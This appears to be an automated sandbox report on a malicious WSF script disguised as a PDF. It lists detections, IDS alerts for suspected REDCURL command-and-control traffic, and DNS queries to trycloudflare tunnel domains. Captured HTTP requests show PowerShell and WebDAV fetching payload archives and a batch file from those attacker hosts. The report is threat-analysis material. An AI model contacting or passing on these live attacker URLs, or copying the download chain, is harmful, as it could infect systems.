Windows Analysis Report
RE_00834473899387474.pdf.wsf

AV Detection

Source: https://bernard-criterion-consultant-url.trycloudflare.com/FTSP.zip:l

Avira URL Cloud: Label: malware

Source: Submited Sample

Neural Call Log Analysis: 99.7%

Phishing

Source: Yara match	File source: C:\Users\user\Downloads\Extracted\Python\Python312\Doc\html\reference\toplevel_components.html, type: DROPPED
Source: Yara match	File source: C:\Users\user\Downloads\Extracted\Python\Python312\Doc\html\tutorial\floatingpoint.html, type: DROPPED
Source: Yara match	File source: C:\Users\user\Downloads\Extracted\Python\Python312\Doc\html\reference\executionmodel.html, type: DROPPED

Compliance

Source: unknown	HTTPS traffic detected: 104.16.230.132:443 -> 192.168.2.8:49692 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.230.132:443 -> 192.168.2.8:49693 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.230.132:443 -> 192.168.2.8:49694 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.231.132:443 -> 192.168.2.8:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.230.132:443 -> 192.168.2.8:49969 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.230.132:443 -> 192.168.2.8:49970 version: TLS 1.2

Source:	Binary string: pdb.Pdb.__init__(self, stdout=out, nosigint=True) source: doctest.py.34.dr
Source:	Binary string: <p>The <a class="reference internal" href="../library/pdb.html#pdb.Pdb" title="pdb.Pdb"><code class="xref py py-class docutils literal notranslate"><span class="pre">Pdb</span></code></a> class constructor has a new optional <em>readrc</em> argument source: 3.6.html.34.dr
Source:	Binary string: return pdb.Pdb.trace_dispatch(self, *args) source: doctest.py.34.dr
Source:	Binary string: pdb.Pdb.set_trace(self, frame) source: doctest.py.34.dr
Source:	Binary string: class _OutputRedirectingPdb(pdb.Pdb): source: doctest.py.34.dr
Source:	Binary string: pdb.Pdb(nosigint=True).run("exec(%r)" % src, globs, globs) source: doctest.py.34.dr
Source:	Binary string: pdb.Pdb.set_continue(self) source: doctest.py.34.dr
Source:	Binary string: p = pdb.Pdb(nosigint=True) source: doctest.py.34.dr
Source:	Binary string: <li><p>The <a class="reference internal" href="../library/pdb.html#module-pdb" title="pdb: The Python debugger for interactive interpreters."><code class="xref py py-mod docutils literal notranslate"><span class="pre">pdb</span></code></a> module now reads the <code class="file docutils literal notranslate"><span class="pre">.pdbrc</span></code> configuration file with source: 3.11.html.34.dr
Source:	Binary string: to control whether <code class="docutils literal notranslate"><span class="pre">.pdbrc</span></code> files should be read.</p> source: 3.6.html.34.dr

Software Vulnerabilities

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Source: Network traffic	Suricata IDS: 2030697 - Severity 1 - ET MALWARE Suspected REDCURL CnC Activity M1 : 192.168.2.8:49696 -> 104.16.230.132:443
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49693 -> 104.16.230.132:443
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49692 -> 104.16.230.132:443
Source: Network traffic	Suricata IDS: 2030697 - Severity 1 - ET MALWARE Suspected REDCURL CnC Activity M1 : 192.168.2.8:49697 -> 104.16.230.132:443
Source: Network traffic	Suricata IDS: 2030697 - Severity 1 - ET MALWARE Suspected REDCURL CnC Activity M1 : 192.168.2.8:49970 -> 104.16.230.132:443
Source: Network traffic	Suricata IDS: 2030697 - Severity 1 - ET MALWARE Suspected REDCURL CnC Activity M1 : 192.168.2.8:49971 -> 104.16.230.132:443
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49969 -> 104.16.230.132:443

Source: unknown	DNS query to tunneling platform domain: name: bernard-criterion-consultant-url.trycloudflare.com
Source: unknown	DNS query to tunneling platform domain: name: cold-neon-springfield-asset.trycloudflare.com

Source: Joe Sandbox View	IP Address: 23.39.37.95 23.39.37.95
Source: Joe Sandbox View	IP Address: 104.16.230.132 104.16.230.132
Source: Joe Sandbox View	IP Address: 104.16.231.132 104.16.231.132

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49692 -> 104.16.230.132:443
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49704 -> 104.16.231.132:443

Source: global traffic

HTTP traffic detected: GET /bab.zip HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: bernard-criterion-consultant-url.trycloudflare.comConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /uty.bat HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Microsoft-WebDAV-MiniRedir/10.0.19045translate: fHost: cold-neon-springfield-asset.trycloudflare.com
Source: global traffic	HTTP traffic detected: GET /bab.zip HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: bernard-criterion-consultant-url.trycloudflare.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uty.bat HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheIf-Modified-Since: Fri, 04 Apr 2025 11:22:54 GMTUser-Agent: Microsoft-WebDAV-MiniRedir/10.0.19045translate: fHost: cold-neon-springfield-asset.trycloudflare.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/10.0Host: x1.i.lencr.org

Source: dbm.html.34.dr	String found in binary or memory: <span class="n">db</span><span class="p">[</span><span class="s1">&#39;www.yahoo.com&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="mi">4</span> equals www.yahoo.com (Yahoo)
Source: itertools.html.34.dr	String found in binary or memory: <span class="sd"> Video: https://www.youtube.com/watch?v=KuXjwB4LzSA</span> equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: cold-neon-springfield-asset.trycloudflare.com
Source: global traffic	DNS traffic detected: DNS query: bernard-criterion-consultant-url.trycloudflare.com
Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org

Source: contextlib.py.34.dr	String found in binary or memory: http://bugs.python.org/issue12029
Source: contextlib.py.34.dr	String found in binary or memory: http://bugs.python.org/issue13585
Source: contextlib.py.34.dr	String found in binary or memory: http://bugs.python.org/issue19404
Source: heapq.py.34.dr	String found in binary or memory: http://code.activestate.com/recipes/577573-compare-algorithms-for-heapqsmallest
Source: svchost.exe, 00000019.00000002.2146222572.00000278DEA00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: transports.py.34.dr	String found in binary or memory: http://docs.python.org/3/library/subprocess#subprocess.Popen.kill
Source: transports.py.34.dr	String found in binary or memory: http://docs.python.org/3/library/subprocess#subprocess.Popen.returncode
Source: transports.py.34.dr	String found in binary or memory: http://docs.python.org/3/library/subprocess#subprocess.Popen.terminate
Source: svchost.exe, 00000019.00000003.1202820487.00000278DE910000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000014.00000002.1741043824.0000022045BAE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.1741043824.0000022045CF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000014.00000002.1700526371.0000022035D62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000014.00000002.1700526371.0000022035B41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000014.00000002.1700526371.0000022035D62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: _pydatetime.py.34.dr	String found in binary or memory: http://www.cl.cam.ac.uk/~mgk25/iso-time.html
Source: ssl.cpython-312.pyc.34.dr	String found in binary or memory: http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6
Source: _pydatetime.py.34.dr	String found in binary or memory: http://www.iana.org/time-zones/repository/tz-link.html
Source: _pydatetime.py.34.dr	String found in binary or memory: http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm
Source: library.html.34.dr	String found in binary or memory: http://www.some-server.out-there'
Source: difflib.py.34.dr	String found in binary or memory: http://www.unix.org/single_unix_specification/
Source: powershell.exe, 00000014.00000002.1700526371.0000022035B41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000014.00000002.1700526371.0000022035D62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bernard-criterion-consultant-url.trycloudflare.com
Source: powershell.exe, 00000014.00000002.1697924189.0000022033D64000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.1744717715.000002204DD10000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.1698059460.0000022033D79000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.1700202172.00000220357F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bernard-criterion-consultant-url.trycloudflare.com/FTSP.zip
Source: powershell.exe, 00000014.00000002.1698059460.0000022033D79000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bernard-criterion-consultant-url.trycloudflare.com/FTSP.zip:l
Source: cmd.exe, 0000000C.00000002.2138766594.0000029B478E2000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.1697924189.0000022033D66000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.1697924189.0000022033D64000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.1698059460.0000022033D70000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.1700202172.00000220357F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bernard-criterion-consultant-url.trycloudflare.com/FTSP.zipHOMEDRIVE=C:HOMEPATH=
Source: powershell.exe, 00000014.00000002.1700202172.00000220357F3000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.1698059460.0000022033E64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bernard-criterion-consultant-url.trycloudflare.com/bab.zip
Source: cmd.exe, 0000000C.00000003.1357062663.0000029B478E2000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2138766594.0000029B478E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bernard-criterion-consultant-url.trycloudflare.com/bab.zip...
Source: itertools.html.34.dr	String found in binary or memory: https://betterexplained.com/articles/intuitive-convolution/
Source: contextlib.py.34.dr	String found in binary or memory: https://bugs.python.org/issue29302
Source: typeobj.html.34.dr	String found in binary or memory: https://bugs.python.org/issue40217
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=11734
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=12006
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=12319
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=12345
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=13248
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=13802
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=1521950
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=1529353
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=15767
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=15786
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=16099
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=16113
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=1612262
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=16764
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=16864
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=17211
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=17884
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=17909
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=17941
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=18018
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=18726
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=18844
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=19475
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=19500
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=19611
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=20059
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=20476
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=2091
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=21271
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=21590
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=21708
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=21815
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=22115
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=22493
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=22829
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=22898
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=23026
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=23034
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=23229
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=23404
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=23430
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=23552
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=23591
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=23722
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=23848
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=23883
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=24164
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=24225
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=24277
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=24454
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=24773
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=24870
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=24879
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=24884
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=25002
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=25011
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=25154
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=25209
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=25227
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=25267
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=25287
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=25301
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=25349
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=25357
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=25382
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=25399
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=25401
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=25483
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=25485
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=25593
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=25596
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=25609
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=25628
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=25638
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=25768
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=25788
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=25791
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=25869
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=25873
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=25928
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=25953
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=25958
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=25971
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=25987
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=25994
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=26032
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=26039
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=26081
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=26129
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=26146
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=26221
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=26243
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=26249
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=26273
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=26282
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=26323
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=26335
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=26359
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=26404
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=26470
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=26482
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=26492
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=26516
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=26536
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=26564
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=26567
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=26568
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=26574
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=26587
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=26588
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=26647
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=26685
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=26721
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=26741
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=26754
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=26798
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=26823
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=26865
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=26870
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=26885
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=26907
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=27040
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=27041
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=27056
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=27078
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=27095
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=27099
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=27140
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=27172
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=27177
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=27181
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=27186
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=27213
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=27243
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=27331
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=27350
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=27364
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=27392
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=27456
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=27574
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=27598
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=27661
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=27664
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=27744
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=27766
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=27781
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=27819
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=27842
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=27850
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=27919
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=27928
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=27932
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=27959
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=27982
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=27985
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=28003
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=28022
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=28025
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=28043
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=28050
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=28085
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=28257
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=28370
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=28544
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=28613
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=28720
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=30697
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=31860
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=31900
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=33642
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=33656
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=33679
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=33768
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=33899
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=37228
